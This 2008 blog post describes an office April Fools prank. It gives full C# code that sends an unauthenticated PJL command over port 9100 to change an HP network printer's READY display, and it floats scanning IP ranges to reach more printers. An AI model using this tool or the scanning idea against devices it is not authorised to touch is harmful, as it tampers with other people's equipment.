Wednesday, April 2, 2008

HP RDYMSG DISPLAY is fun

It was April 01 a few days ago, and I decided to pull a small prank on the office. Unfortunately, it was a little subtle(No one has commented yet), but it was fun to put the code together.

The prank is based on some old l0pht code hanging around on this web site: http://www.irongeek.com/i.php?page=security/hphack which sent some HP Printer Job Language code to a networked printer, changing the "READY" prompt to whatever you choose.

I guess the next logical step is to interrogate the Active Directory and automate the process ... or more evil would be to interrogate an IP range, since that would give you access to printers you cannot access via the AD. Evil.

The entire HP command set I found here: http://printers.necsam.com/public/printers/pclcodes/pcl5hp.htm

Guys, don't do this at work.

As always, blogger eats non breaking spaces, spaces and pretty much any type of indentation I can think of. [Edit and replace all spaces with  ]


using System;
//using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Net.Sockets;

namespace HPPrnDisp
{
    class hp
    {
        const int HP_PJL_PORT = 9100;
        const string HP_RDYMSG_HEADER = "\u001B%-12345X@PJL RDYMSG DISPLAY = \"";
        const string HP_RDYMSG_FOOTER = "\"\r\n\u001B%-12345X\r\n";

        // Changes the READY display text for a range of HP Printers
        public static int Main(string[] args)
        {

            Console.WriteLine("HP Display Hack -- sili@l0pht.com 12/8/97");
            Console.WriteLine("-- Re-coded by Kent Bolton 02 APR 2008 --");


            // Ensure that there are only two arguments
            if ( args.Length != 2 ) {
                Console.WriteLine("Usage: printer \"message\"");
                Console.WriteLine("\tMessage can be up to 16 characters long (44 on 5si's)");
                return 1;
            }

            // Process the arguments
            String host = args[0];
            String message = args[1];

            // No more than 44 chars - not sure what happens if there are more
            if (message.Length > 44)
            {
                message = message.Substring(0, 44);
            }

            // Let the user know we know what is needed
            Console.WriteLine("Hostname: {0}", host);
            Console.WriteLine("Message : {0}", message);

            // Set up the IP Connections ...
            IPAddress addr = null;
            IPEndPoint endPoint = null;
            try
            {
                addr = Dns.GetHostEntry(host).AddressList[0];
                endPoint = new IPEndPoint(addr, HP_PJL_PORT);
            }
            catch (Exception e)
            {
                Console.WriteLine("Unknown host: " + e.ToString());
                return 1;
            }

            // Format strings
            StringBuilder textOut = new StringBuilder(100);
            textOut.Append(HP_RDYMSG_HEADER);
            textOut.Append (message);
            textOut.Append(HP_RDYMSG_FOOTER);

            // Now everything is set up, push the string through as an ASCII byte stream
            Console.WriteLine("Connecting ...");
            try
            {
                // Prepare basic socket and encoding stuff
                Socket sock = null;
                System.Text.ASCIIEncoding encoding = new System.Text.ASCIIEncoding();

                // Open socket and pump out the bits
                sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
                sock.Connect(endPoint);
                sock.Send(encoding.GetBytes(textOut.ToString()));
                sock.Close();
            }
            catch (Exception e)
            {
                Console.WriteLine("IO error: " + e.ToString());
                return 1;
            }

            // Happy message and bail with no error code
            Console.WriteLine("Sent {0} bytes", textOut.Length);
            return 0;


        }
    }
}


No comments: